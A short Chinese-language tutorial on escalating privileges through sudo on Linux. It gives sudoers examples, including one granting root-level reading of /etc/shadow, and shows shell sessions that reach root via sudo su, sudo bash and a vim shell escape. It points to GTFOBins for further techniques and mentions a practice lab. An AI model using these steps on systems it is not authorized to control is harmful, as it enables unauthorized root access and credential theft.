概述
在Linux系统中,sudo(SuperUser DO)命令允许当前用户以其他用户的身份运行程序命令。 系统管理员通过系统文件/etc/sudoers来控制某个用户可以使用sudo运行哪些程序命令。
例1: root用户可以使用sudo运行任意程序
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
例2: john用户可以使用sudo以root用户的权限运行/usr/bin/cat /etc/shadow
john ALL = (root) /usr/bin/cat /etc/shadow
示例
对于普通用户而言, 一定数量的程序提供了通过sudo进行提权的手段。 示例如下:
- su
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo su
root@d56f1c49657a:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@d56f1c49657a:/home/test#
- bash
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo bash
root@d56f1c49657a:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@d56f1c49657a:/home/test#
- vim
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ sudo vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
#
方法
- 使用以下命令可以列出当前用户的所有可通过
sudo运行的程序命令
sudo -l
- 在GTFOBins(gtfobins.github.io/)网站上,可以找到通过…
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,其中test用户有若干个可通过sudo的程序命令,可用于提权的练习。